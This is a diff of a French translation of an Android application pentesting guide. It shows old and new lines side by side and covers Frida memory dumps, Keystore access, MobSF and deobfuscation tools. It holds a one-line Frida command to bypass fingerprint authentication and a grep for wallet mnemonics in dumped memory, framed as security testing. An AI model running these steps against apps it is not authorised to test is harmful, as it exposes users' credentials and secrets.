- Essayez de bypasser les mécanismes anti-debugging / anti-frida en chargeant Frida comme indiqué dans [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (outil [linjector](https://github.com/erfur/linjector-rs))
- Learn how to use Frida: [**Frida tutorial**](frida-tutorial/index.html)
- Some "GUI" for actions with Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
- Ojection is great to automate the use of Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
- You can find some Awesome Frida scripts here: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
- Try to bypass anti-debugging / anti-frida mechanisms loading Frida as in indicated in [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (tool [linjector](https://github.com/erfur/linjector-rs))
#### Anti-instrumentation & workflow de contournement SSL pinning
#### Anti-instrumentation & SSL pinning bypass workflow
{{#ref}}
android-anti-instrumentation-and-ssl-pinning-bypass.md
{{#endref}}
### **Dump mémoire - Fridump**
### **Dumper la mémoire - Fridump**
Vérifiez si l'application stocke des informations sensibles en mémoire qu'elle ne devrait pas, comme des mots de passe ou des mnemonics.
Vérifiez si l'application stocke des informations sensibles en mémoire qu'elle ne devrait pas stocker, comme des mots de passe ou des mnémoniques.
Avec [**Fridump3**](https://github.com/rootbsd/fridump3) vous pouvez dumper la mémoire de l'app avec:
En utilisant [**Fridump3**](https://github.com/rootbsd/fridump3) vous pouvez dumper la mémoire de l'app avec:
```bash
# With PID
python3 fridump3.py -u <PID>
@ -528,63 +528,65 @@ python3 fridump3.py -u <PID>
frida-ps -Uai
python3 fridump3.py -u "<Name>"
```
Cela va dump la mémoire dans le dossier ./dump, et là vous pouvez grep avec quelque chose comme :
Cela va dump la mémoire dans le dossier ./dump, et là vous pouvez utiliser grep avec quelque chose comme :
```bash
strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+$"
```
### **Données sensibles dans Keystore**
### **Données sensibles dans le Keystore**
Sur Android, le Keystore est le meilleur endroit pour stocker des données sensibles, cependant, avec des privilèges suffisants il est encore **possible d'y accéder**. Comme les applications ont tendance à stocker ici **des données sensibles en clair**, les pentests devraient le vérifier en tant que root user, car quelqu'un ayant un accès physique à l'appareil pourrait voler ces données.
Sur Android, le Keystore est l'endroit idéal pour stocker des données sensibles, cependant, avec des privilèges suffisants, il est toujours **possible d'y accéder**.
Même si une app stocke des données dans le keystore, les données doivent être chiffrées.
Comme les applications ont tendance à stocker ici des **données sensibles en clair**, les pentests doivent vérifier cela en tant qu'utilisateur root car quelqu'un ayant un accès physique à l'appareil pourrait être capable de voler ces données.
Pour accéder aux données à l'intérieur du keystore vous pourriez utiliser ce Frida script: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js)
Même si une application stocke des données dans le keystore, les données doivent être chiffrées.
Pour accéder aux données dans le keystore, vous pouvez utiliser ce script Frida : [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js)
```bash
frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
```
### **Fingerprint/Biometrics Bypass**
En utilisant le script Frida suivant, il pourrait être possible de **bypass fingerprint authentication** que certaines applications Android mettent en œuvre pour **protect certain sensitive areas:**
En utilisant le script Frida suivant, il peut être possible de **bypass fingerprint authentication** que des applications Android mettent en place afin de **protéger certaines zones sensibles :**
```bash
frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app.package>
```
### **Images d'arrière-plan**
Lorsque vous mettez une application en arrière-plan, Android stocke un **instantané de l'application**, de sorte que lorsqu'elle est rétablie au premier plan, Android commence à charger l'image avant l'application, donnant l'impression que l'application s'est chargée plus rapidement.
Lorsque vous placez une application en arrière-plan, Android enregistre un **snapshot de l'application** afin que, lorsqu'elle est ramenée au premier plan, il commence par charger l'image avant l'application, donnant l'impression que l'app s'est chargée plus rapidement.
Cependant, si cet instantané contient des **informations sensibles**, quelqu'un ayant accès à l'instantané pourrait **voler ces infos** (notez que vous avez besoin de root pour y accéder).
Cependant, si ce snapshot contient des **informations sensibles**, une personne ayant accès au snapshot pourrait **voler ces informations** (note : il faut les privilèges root pour y accéder).
Les instantanés sont généralement stockés à : **`/data/system_ce/0/snapshots`**
Les snapshots sont généralement stockés ici : **`/data/system_ce/0/snapshots`**
Android fournit un moyen de **prévenir la capture d'écran en définissant le paramètre de layout FLAG_SECURE**. En utilisant ce flag, le contenu de la fenêtre est traité comme sécurisé, l'empêchant d'apparaître dans les captures d'écran ou d'être affiché sur des écrans non sécurisés.
Android fournit un moyen de **prévenir la capture d'écran en définissant le paramètre FLAG_SECURE** du layout. En utilisant ce flag, le contenu de la fenêtre est traité comme sécurisé, l'empêchant d'apparaître dans des captures d'écran ou d'être affiché sur des écrans non sécurisés.
```bash
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
```
### **Android Application Analyzer**
Cet outil peut vous aider à gérer différents outils pendant l'analyse dynamique : [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer)
Cet outil peut vous aider à gérer différents outils lors de l'analyse dynamique : [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer)
### Intent Injection
Les développeurs créent souvent des composants proxies comme des activities, services et broadcast receivers qui traitent ces Intents et les transmettent à des méthodes telles que `startActivity(...)` ou `sendBroadcast(...)`, ce qui peut être risqué.
Les développeurs créent souvent des composants proxy comme activities, services et broadcast receivers qui traitent ces Intents et les transmettent à des méthodes telles que `startActivity(...)` ou `sendBroadcast(...)`, ce qui peut être risqué.
Le danger réside dans le fait de permettre à des attaquants de déclencher des composants d'application non exportés ou d'accéder à des content providers sensibles en détournant ces Intents. Un exemple notable est le composant `WebView` qui convertit des URLs en objets `Intent` via `Intent.parseUri(...)` puis les exécute, ce qui peut conduire à des injections d'Intent malveillantes.
Le danger réside dans le fait de permettre à des attaquants de déclencher des composants d'application non-exportés ou d'accéder à des content providers sensibles en détournant ces Intents. Un exemple notable est le composant `WebView` convertissant des URLs en objets `Intent` via `Intent.parseUri(...)` puis les exécutant, ce qui peut conduire à des injections d'Intent malveillantes.
### Essential Takeaways
- **Intent Injection** est similaire au problème Open Redirect du web.
- Les exploits impliquent de passer des objets `Intent` en tant qu'extras, qui peuvent être redirigés pour exécuter des opérations non sécurisées.
- Cela peut exposer des composants non exportés et des content providers aux attaquants.
- La conversion d'URL en `Intent` par `WebView` peut faciliter des actions non désirées.
- **Intent Injection** is similar to web's Open Redirect issue.
- Exploits involve passing `Intent` objects as extras, which can be redirected to execute unsafe operations.
- It can expose non-exported components and content providers to attackers.
- `WebView`’s URL to `Intent` conversion can facilitate unintended actions.
### Android Client Side Injections and others
Vous connaissez probablement ce type de vulnérabilités depuis le Web. Vous devez être particulièrement prudent avec ces vulnérabilités dans une application Android :
- **SQL Injection:** Lors du traitement de requêtes dynamiques ou de Content-Providers, assurez-vous d'utiliser des requêtes paramétrées.
- **JavaScript Injection (XSS):** Vérifiez que le support JavaScript et Plugin est désactivé pour tous les WebViews (désactivé par défaut). [More info here](webview-attacks.md#javascript-enabled).
- **Local File Inclusion:** Les WebViews devraient avoir l'accès au système de fichiers désactivé (activé par défaut) - `(webview.getSettings().setAllowFileAccess(false);)`. [More info here](webview-attacks.md#javascript-enabled).
- **Eternal cookies**: Dans plusieurs cas, lorsque l'application Android termine la session, le cookie n'est pas révoqué ou peut même être sauvegardé sur le disque
- **JavaScript Injection (XSS):** Vérifiez que le support JavaScript et Plugin est désactivé pour tous les WebViews (désactivé par défaut). [Plus d'infos ici](webview-attacks.md#javascript-enabled).
- **Local File Inclusion:** Les WebViews doivent avoir l'accès au système de fichiers désactivé (activé par défaut) - `(webview.getSettings().setAllowFileAccess(false);)`. [Plus d'infos ici](webview-attacks.md#javascript-enabled).
- **Eternal cookies**: Dans plusieurs cas, quand l'application Android termine la session le cookie n'est pas révoqué ou il peut même être sauvegardé sur le disque
- [**Secure Flag** in cookies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
---
@ -597,51 +599,51 @@ Vous connaissez probablement ce type de vulnérabilités depuis le Web. Vous dev
![](<../../images/image (866).png>)
**Évaluation des vulnérabilités de l'application** via une belle interface web. Vous pouvez aussi effectuer une analyse dynamique (mais vous devez préparer l'environnement).
**Vulnerability assessment of the application** using a nice web-based frontend. You can also perform dynamic analysis (but you need to prepare the environment).
```bash
docker pull opensecurity/mobile-security-framework-mobsf
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
```
Remarquez que MobSF peut analyser **Android**(apk)**, IOS**(ipa) **and Windows**(apx) applications (_Windows applications must be analyzed from a MobSF installed in a Windows host_).\
De plus, si vous créez un fichier **ZIP** avec le code source d'une application **Android** ou **IOS** (allez au dossier racine de l'application, sélectionnez tout et créez un ZIPfile), il pourra également l'analyser.
Notice that MobSF can analyse **Android**(apk)**, IOS**(ipa) **and Windows**(apx) applications (_Windows applications must be analyzed from a MobSF installed in a Windows host_).\
Also, if you create a **ZIP** file with the source code if an **Android** or an **IOS** app (go to the root folder of the application, select everything and create a ZIPfile), it will be able to analyse it also.
MobSF vous permet aussi de **diff/Compare** les analyses et d'intégrer **VirusTotal** (vous devrez définir votre clé API dans _MobSF/settings.py_ et l'activer : `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`). Vous pouvez aussi régler `VT_UPLOAD` sur `False`, dans ce cas le **hash** sera **upload** au lieu du fichier.
MobSF also allows you to **diff/Compare** analysis and to integrate **VirusTotal** (you will need to set your API key in _MobSF/settings.py_ and enable it: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`). You can also set `VT_UPLOAD` to `False`, then the **hash** will be **upload** instead of the file.
### Assisted Dynamic analysis with MobSF
**MobSF** peut aussi être très utile pour l'**analyse dynamique** sur **Android**, mais dans ce cas vous devrez installer MobSF et **genymotion** sur votre hôte (une VM ou Docker ne fonctionneront pas). _Note: You need to **start first a VM in genymotion** and **then MobSF.**_\
L'**analyseur dynamique** de MobSF peut :
**MobSF** can also be very helpful for **dynamic analysis** in **Android**, but in that case you will need to install MobSF and **genymotion** in your host (a VM or Docker won't work). _Note: You need to **start first a VM in genymotion** and **then MobSF.**_\
The **MobSF dynamic analyser** can:
- **Dump application data** (URLs, logs, clipboard, captures d'écran faites par vous, captures d'écran faites par "**Exported Activity Tester**", emails, bases de données SQLite, fichiers XML, et autres fichiers créés). Tout ceci est fait automatiquement sauf pour les captures d'écran : vous devez appuyer quand vous voulez une capture d'écran ou appuyer sur "**Exported Activity Tester**" pour obtenir des captures de toutes les activités exportées.
- **Dump application data** (URLs, logs, clipboard, screenshots made by you, screenshots made by "**Exported Activity Tester**", emails, SQLite databases, XML files, and other created files). All of this is done automatically except for the screenshots, you need to press when you want a screenshot or you need to press "**Exported Activity Tester**" to obtain screenshots of all the exported activities.
- Capture **HTTPS traffic**
- Use **Frida** to obtain **runtime** **information**
À partir des versions **Android > 5**, il démarrera **automatiquement Frida** et définira les paramètres globaux de **proxy** pour **capture** le trafic. Il ne capturera que le trafic de l'application testée.
From android **versions > 5**, it will **automatically start Frida** and will set global **proxy** settings to **capture** traffic. It will only capture traffic from the tested application.
**Frida**
Par défaut, il utilisera aussi certains Frida Scripts pour **bypass SSL pinning**, **root detection** et **debugger detection** et pour **monitor interesting APIs**.\
MobSF peut aussi **invoke exported activities**, prendre des **screenshots** de celles-ci et les **save** pour le rapport.
By default, it will also use some Frida Scripts to **bypass SSL pinning**, **root detection** and **debugger detection** and to **monitor interesting APIs**.\
MobSF can also **invoke exported activities**, grab **screenshots** of them and **save** them for the report.
Pour **start** les tests dynamiques, appuyez sur le bouton vert : "**Start Instrumentation**". Appuyez sur "**Frida Live Logs**" pour voir les logs générés par les Frida scripts et sur "**Live API Monitor**" pour voir toutes les invocations des méthodes hookées, les arguments passés et les valeurs retournées (cela apparaîtra après avoir appuyé sur "Start Instrumentation").\
MobSF permet aussi de charger vos propres **Frida scripts** (pour envoyer les résultats de vos Frida scripts à MobSF utilisez la fonction `send()`). Il contient également **several pre-written scripts** que vous pouvez charger (vous pouvez en ajouter d'autres dans `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), il suffit de **les sélectionner**, appuyer sur "**Load**" et appuyer sur "**Start Instrumentation**" (vous pourrez voir les logs de ces scripts dans "**Frida Live Logs**").
To **start** the dynamic testing press the green bottom: "**Start Instrumentation**". Press the "**Frida Live Logs**" to see the logs generated by the Frida scripts and "**Live API Monitor**" to see all the invocation to hooked methods, arguments passed and returned values (this will appear after pressing "Start Instrumentation").\
MobSF also allows you to load your own **Frida scripts** (to send the results of your Friday scripts to MobSF use the function `send()`). It also has **several pre-written scripts** you can load (you can add more in `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), just **select them**, press "**Load**" and press "**Start Instrumentation**" (you will be able to see the logs of that scripts inside "**Frida Live Logs**").
![](<../../images/image (419).png>)
De plus, vous disposez de quelques fonctionnalités auxiliaires Frida :
Moreover, you have some Auxiliary Frida functionalities:
- **Enumerate Loaded Classes**: Il affichera toutes les classes chargées
- **Capture Strings**: Il affichera toutes les chaînes capturées pendant l'utilisation de l'application (très bruyant)
- **Capture String Comparisons**: Peut être très utile. Il **montrera les 2 chaînes being compared** et si le résultat était True or False.
- **Enumerate Class Methods**: Indiquez le nom de la classe (comme "java.io.File") et il imprimera toutes les méthodes de la classe.
- **Search Class Pattern**: Recherche des classes par pattern
- **Trace Class Methods**: **Trace** une **classe entière** (voir les entrées et sorties de toutes les méthodes de la classe). Rappelez-vous qu'au départ MobSF trace plusieurs méthodes Android Api intéressantes.
- **Enumerate Loaded Classes**: It will print all the loaded classes
- **Capture Strings**: It will print all the capture strings while using the application (super noisy)
- **Capture String Comparisons**: Could be very useful. It will **show the 2 strings being compared** and if the result was True or False.
- **Enumerate Class Methods**: Put the class name (like "java.io.File") and it will print all the methods of the class.
- **Search Class Pattern**: Search classes by pattern
- **Trace Class Methods**: **Trace** a **whole class** (see inputs and outputs of all methods of th class). Remember that by default MobSF traces several interesting Android Api methods.
Une fois que vous avez sélectionné le module auxiliaire que vous voulez utiliser, vous devez appuyer sur "**Start Intrumentation**" et vous verrez toutes les sorties dans "**Frida Live Logs**".
Once you have selected the auxiliary module you want to use you need to press "**Start Intrumentation**" and you will see all the outputs in "**Frida Live Logs**".
**Shell**
MobSF fournit également un shell avec quelques commandes **adb**, **MobSF commands**, et des **shell** **commands** courantes en bas de la page d'analyse dynamique. Quelques commandes intéressantes :
Mobsf also brings you a shell with some **adb** commands, **MobSF commands**, and common **shell** **commands** at the bottom of the dynamic analysis page. Some interesting commands:
```bash
help
shell ls
@ -650,34 +652,34 @@ exported_activities
services
receivers
```
**HTTP tools**
**Outils HTTP**
When http traffic is capture you can see an ugly view of the captured traffic on "**HTTP(S) Traffic**" bottom or a nicer view in "**Start HTTPTools**" green bottom. From the second option, you can **send** the **captured requests** to **proxies** like Burp or Owasp ZAP.\
When HTTP traffic is capture you can see an ugly view of the captured traffic on "**HTTP(S) Traffic**" bouton ou une vue plus agréable dans le bouton vert "**Start HTTPTools**". From the second option, you can **envoyer** les **requêtes capturées** vers des **proxies** comme Burp ou Owasp ZAP.\
To do so, _power on Burp -->_ _turn off Intercept --> in MobSB HTTPTools select the request_ --> press "**Send to Fuzzer**" --> _select the proxy address_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
Une fois l'analyse dynamique terminée avec MobSF, vous pouvez cliquer sur "**Start Web API Fuzzer**" pour **fuzz http requests** et rechercher des vulnérabilités.
Once you finish the dynamic analysis with MobSF you can press on "**Start Web API Fuzzer**" to **fuzz http requests** an look for vulnerabilities.
> [!TIP]
> Après avoir effectué une analyse dynamique avec MobSF, les paramètres proxy peuvent être mal configurés et vous ne pourrez pas les corriger depuis la GUI. Vous pouvez réparer les paramètres proxy en exécutant :
> After performing a dynamic analysis with MobSF the proxy settings me be misconfigured and you won't be able to fix them from the GUI. You can fix the proxy settings by doing:
>
> ```
> adb shell settings put global http_proxy :0
> ```
### Assisted Dynamic Analysis with Inspeckage
### Analyse dynamique assistée avec Inspeckage
You can get the tool from [**Inspeckage**](https://github.com/ac-pm/Inspeckage).\
Cet outil utilise des **Hooks** pour vous indiquer **ce qui se passe dans l'application** pendant que vous effectuez une **analyse dynamique**.
### [Yaazhini](https://www.vegabird.com/yaazhini/)
C'est un **excellent outil pour effectuer une analyse statique avec une GUI**
C'est un **excellent outil pour effectuer une analyse statique avec une interface graphique**
![](<../../images/image (741).png>)
### [Qark](https://github.com/linkedin/qark)
Cet outil est conçu pour rechercher plusieurs **security related Android application vulnerabilities**, soit dans le **source code** soit dans des **packaged APKs**. L'outil est aussi **capable of creating a "Proof-of-Concept" deployable APK** et des **ADB commands**, pour exploiter certaines des vulnérabilités trouvées (Exposed activities, intents, tapjacking...). Comme avec Drozer, il n'est pas nécessaire de rooter l'appareil de test.
Cet outil est conçu pour rechercher plusieurs **vulnérabilités de sécurité liées aux applications Android**, soit dans le **code source** soit dans des **APKs packagés**. L'outil est également **capable de créer un APK déployable "Proof-of-Concept"** et des **ADB commands**, pour exploiter certaines des vulnérabilités trouvées (Exposed activities, intents, tapjacking...). Comme avec Drozer, il n'est pas nécessaire de rooter l'appareil de test.
```bash
pip3 install --user qark # --user is only needed if not using a virtualenv
qark --apk path/to/my.apk
@ -686,10 +688,10 @@ qark --java path/to/specific/java/file.java
```
### [**ReverseAPK**](https://github.com/1N3/ReverseAPK.git)
- Affiche tous les fichiers extraits pour une consultation facile
- Décompile automatiquement les APK en Java et Smali
- Analyse AndroidManifest.xml pour les vulnérabilités et comportements courants
- Analyse statique du code source pour les vulnérabilités et comportements courants
- Affiche tous les fichiers extraits pour consultation facile
- Décompile automatiquement les fichiers APK au format Java et Smali
- Analyse AndroidManifest.xml à la recherche de vulnérabilités et de comportements courants
- Analyse statique du code source pour détecter des vulnérabilités et des comportements courants
- Informations sur l'appareil
- et plus encore
```bash
@ -697,9 +699,9 @@ reverse-apk relative/path/to/APP.apk
```
### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super)
SUPER est une application en ligne de commande qui peut être utilisée sous Windows, MacOS X et Linux, et qui analyse des _.apk_ files à la recherche de vulnérabilités. Il le fait en décompressant les APKs et en appliquant une série de règles pour détecter ces vulnérabilités.
SUPER est une application en ligne de commande utilisable sous Windows, MacOS X et Linux, qui analyse les fichiers _.apk_ à la recherche de vulnérabilités. Elle le fait en décompressant les APK et en appliquant une série de règles pour détecter ces vulnérabilités.
Toutes les règles sont centralisées dans un fichier `rules.json`, et chaque entreprise ou testeur peut créer ses propres règles selon ses besoins.
Toutes les règles sont centralisées dans un fichier `rules.json`, et chaque entreprise ou testeur peut créer ses propres règles pour analyser ce dont il a besoin.
Téléchargez les derniers binaires depuis la [download page](https://superanalyzer.rocks/download.html)
```
@ -709,17 +711,17 @@ super-analyzer {apk_file}
![](<../../images/image (297).png>)
StaCoAn est un outil **crossplatform** qui aide les développeurs, bugbounty hunters et ethical hackers effectuant [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) sur les applications mobiles.
StaCoAn est un outil multiplateforme qui aide les développeurs, bugbounty hunters et ethical hackers à réaliser du static code analysis sur des applications mobiles.
Le concept est que vous glissiez-déposiez votre fichier d'application mobile (un fichier .apk ou .ipa) sur l'application StaCoAn et elle générera pour vous un rapport visuel et portable. Vous pouvez ajuster les paramètres et les wordlists pour obtenir une expérience personnalisée.
Le principe est que vous glissez-déposez le fichier de votre application mobile (un .apk ou .ipa) sur l'application StaCoAn et elle génère un rapport visuel et portable pour vous. Vous pouvez ajuster les paramètres et les wordlists pour obtenir une expérience personnalisée.
Télécharger[ latest release](https://github.com/vincentcox/StaCoAn/releases):
Télécharger la [latest release](https://github.com/vincentcox/StaCoAn/releases):
```
./stacoan
```
### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework)
AndroBugs Framework est un système d'analyse de vulnérabilités Android qui aide les développeurs ou les hackers à trouver des vulnérabilités potentielles dans les applications Android.\
AndroBugs Framework est un système d'analyse des vulnérabilités Android qui aide les développeurs ou hackers à trouver des vulnérabilités de sécurité potentielles dans les applications Android.\
[Windows releases](https://github.com/AndroBugs/AndroBugs_Framework/releases)
```
python androbugs.py -f [APK file]
@ -727,11 +729,11 @@ androbugs.exe -f [APK file]
```
### [Androwarn](https://github.com/maaaaz/androwarn)
**Androwarn** est un outil dont le but principal est de détecter et d'avertir l'utilisateur au sujet de comportements potentiellement malveillants développés par une application Android.
**Androwarn** est un outil dont l'objectif principal est de détecter et d'avertir l'utilisateur des comportements potentiellement malveillants développés par une application Android.
La détection est effectuée par l'**analyse statique** du Dalvik bytecode de l'application, représenté en **Smali**, à l'aide de la bibliothèque [`androguard`](https://github.com/androguard/androguard).
La détection est effectuée via la **static analysis** du Dalvik bytecode de l'application, représenté en **Smali**, à l'aide de la bibliothèque [`androguard`](https://github.com/androguard/androguard).
Cet outil recherche les **comportements courants des applications 'malveillantes'** comme : Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution...
Cet outil recherche les **comportements courants des applications "malveillantes"** tels que : Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution...
```
python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
```
@ -739,76 +741,76 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
![](<../../images/image (595).png>)
**MARA** est un Mobile Application Reverse engineering and Analysis Framework. C'est un outil qui regroupe des outils couramment utilisés pour le reverse engineering et l'analyse d'applications mobiles, afin d'assister les tests des applications mobiles contre les menaces de sécurité mobile OWASP. Son objectif est de rendre cette tâche plus simple et plus accessible aux développeurs d'applications mobiles et aux professionnels de la sécurité.
**MARA** est un Framework d'ingénierie inverse et d'analyse d'applications mobiles (Mobile Application Reverse engineering and Analysis Framework). C'est un outil qui regroupe des outils couramment utilisés pour le reverse engineering et l'analyse d'applications mobiles, afin d'aider à tester les applications mobiles contre les menaces de sécurité mobile d'OWASP. Son objectif est de rendre cette tâche plus facile et plus accessible aux développeurs d'applications mobiles et aux professionnels de la sécurité.
It is able to:
Il peut :
- Extract Java and Smali code using different tools
- Analyze APKs using: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD)
- Extract private information from the APK using regexps.
- Analyze the Manifest.
- Analyze found domains using: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) and [whatweb](https://github.com/urbanadventurer/WhatWeb)
- Deobfuscate APK via [apk-deguard.com](http://www.apk-deguard.com)
- Extraire le code Java et Smali en utilisant différents outils
- Analyser les APKs en utilisant : [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD)
- Extraire des informations privées depuis l'APK en utilisant des regexps.
- Analyser le Manifest.
- Analyser les domaines trouvés en utilisant : [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) et [whatweb](https://github.com/urbanadventurer/WhatWeb)
- Déobfusquer l'APK via [apk-deguard.com](http://www.apk-deguard.com)
### Koodous
Utile pour détecter les malware: [https://koodous.com/](https://koodous.com/)
Utile pour détecter du malware: [https://koodous.com/](https://koodous.com/)
## Obfuscating/Deobfuscating code
Notez que, selon le service et la configuration que vous utilisez pour obfuscate le code, les secrets peuvent ou non rester obfuscated.
Notez que, selon le service et la configuration utilisés pour obfusquer le code, les secrets peuvent ou non finir obfusqués.
### [ProGuard](<https://en.wikipedia.org/wiki/ProGuard_(software)>)
From [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** is an open source command-line tool that shrinks, optimizes and obfuscates Java code. Il est capable d'optimiser le bytecode ainsi que de détecter et supprimer les instructions non utilisées. ProGuard est un logiciel libre distribué sous la GNU General Public License, version 2.
D'après [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** est un outil open source en ligne de commande qui réduit, optimise et obfusque le code Java. Il peut optimiser le bytecode ainsi que détecter et supprimer les instructions inutilisées. ProGuard est un logiciel libre et est distribué sous la GNU General Public License, version 2.
ProGuard is distributed as part of the Android SDK and runs when building the application in release mode.
ProGuard est distribué dans le cadre de l'Android SDK et s'exécute lors de la compilation de l'application en mode release.
### [DexGuard](https://www.guardsquare.com/dexguard)
Find a step-by-step guide to deobfuscate the apk in [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)
Trouvez un guide pas-à-pas pour déobfusquer l'apk sur [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)
(From that guide) Last time we checked, the Dexguard mode of operation was:
(D'après ce guide) La dernière fois que nous avons vérifié, le mode de fonctionnement de Dexguard était :
- load a resource as an InputStream;
- feed the result to a class inheriting from FilterInputStream to decrypt it;
- do some useless obfuscation to waste a few minutes of time from a reverser;
- feed the decrypted result to a ZipInputStream to get a DEX file;
- finally load the resulting DEX as a Resource using the `loadDex` method.
- charger une ressource en tant que InputStream ;
- fournir le résultat à une classe héritant de FilterInputStream pour le déchiffrer ;
- effectuer une obfuscation inutile pour faire perdre quelques minutes à un reverser ;
- fournir le résultat déchiffré à un ZipInputStream pour obtenir un fichier DEX ;
- finalement charger le DEX résultant comme une Resource en utilisant la méthode `loadDex`.
### [DeGuard](http://apk-deguard.com)
**DeGuard reverses the process of obfuscation performed by Android obfuscation tools. This enables numerous security analyses, including code inspection and predicting libraries.**
**DeGuard inverse le processus d'obfuscation effectué par les outils d'obfuscation Android. Cela permet de nombreuses analyses de sécurité, notamment l'inspection de code et l'identification des bibliothèques.**
Vous pouvez uploader un APK obfuscated sur leur plateforme.
Vous pouvez téléverser un APK obfusqué sur leur plateforme.
### [Deobfuscate android App]https://github.com/In3tinct/deobfuscate-android-app
This is a LLM tool to find any potential security vulnerabilities in android apps and deobfuscate android app code. Uses Google's Gemini public API.
C'est un outil LLM pour trouver d'éventuelles vulnérabilités de sécurité dans des apps android et déobfusquer le code d'applications android. Utilise l'API publique Gemini de Google.
### [Simplify](https://github.com/CalebFenton/simplify)
It is a **generic android deobfuscator.** Simplify **virtually executes an app** to understand its behavior and then **tries to optimize the code** so it behaves identically but is easier for a human to understand. Each optimization type is simple and generic, so it doesn't matter what the specific type of obfuscation is used.
C'est un **déobfuscateur android générique.** Simplify **exécute virtuellement une app** pour comprendre son comportement puis **essaie d'optimiser le code** afin qu'il se comporte de manière identique mais soit plus facile à comprendre pour un humain. Chaque type d'optimisation est simple et générique, donc peu importe le type spécifique d'obfuscation utilisé.
### [APKiD](https://github.com/rednaga/APKiD)
APKiD gives you information about **how an APK was made**. It identifies many **compilers**, **packers**, **obfuscators**, and other weird stuff. It's [_PEiD_](https://www.aldeid.com/wiki/PEiD) for Android.
APKiD vous donne des informations sur **comment un APK a été créé**. Il identifie de nombreux **compilers**, **packers**, **obfuscators**, et d'autres trucs bizarres. C'est [_PEiD_](https://www.aldeid.com/wiki/PEiD) pour Android.
### Manual
[Read this tutorial to learn some tricks on **how to reverse custom obfuscation**](manual-deobfuscation.md)
[Lisez ce tutoriel pour apprendre quelques astuces sur **la façon d'inverser une obfuscation personnalisée**](manual-deobfuscation.md)
## Laboratoires
## Labs
### [Androl4b](https://github.com/sh4hin/Androl4b)
AndroL4b est une virtual machine de sécurité Android basée sur ubuntu-mate qui inclut une collection des derniers frameworks, tutoriels et labs provenant de différents experts en sécurité et chercheurs pour le reverse engineering et l'analyse de malware.
AndroL4b est une machine virtuelle de sécurité Android basée sur ubuntu-mate ; elle inclut une collection des derniers frameworks, tutoriels et labs provenant de différents passionnés et chercheurs en sécurité pour le reverse engineering et l'analyse de malware.
## Références
- [https://owasp.org/www-project-mobile-app-security/](https://owasp.org/www-project-mobile-app-security/)
- [https://appsecwiki.com/#/](https://appsecwiki.com/#/) C'est une excellente liste de ressources
- [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Android quick course
- [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Cours rapide Android
- [https://manifestsecurity.com/android-application-security/](https://manifestsecurity.com/android-application-security/)
- [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh)
- [https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec)
@ -816,7 +818,7 @@ AndroL4b est une virtual machine de sécurité Android basée sur ubuntu-mate qu
- [SSLPinDetect GitHub](https://github.com/aancw/SSLPinDetect)
- [smali-sslpin-patterns](https://github.com/aancw/smali-sslpin-patterns)
## À essayer
## À tester
- [https://www.vegabird.com/yaazhini/](https://www.vegabird.com/yaazhini/)
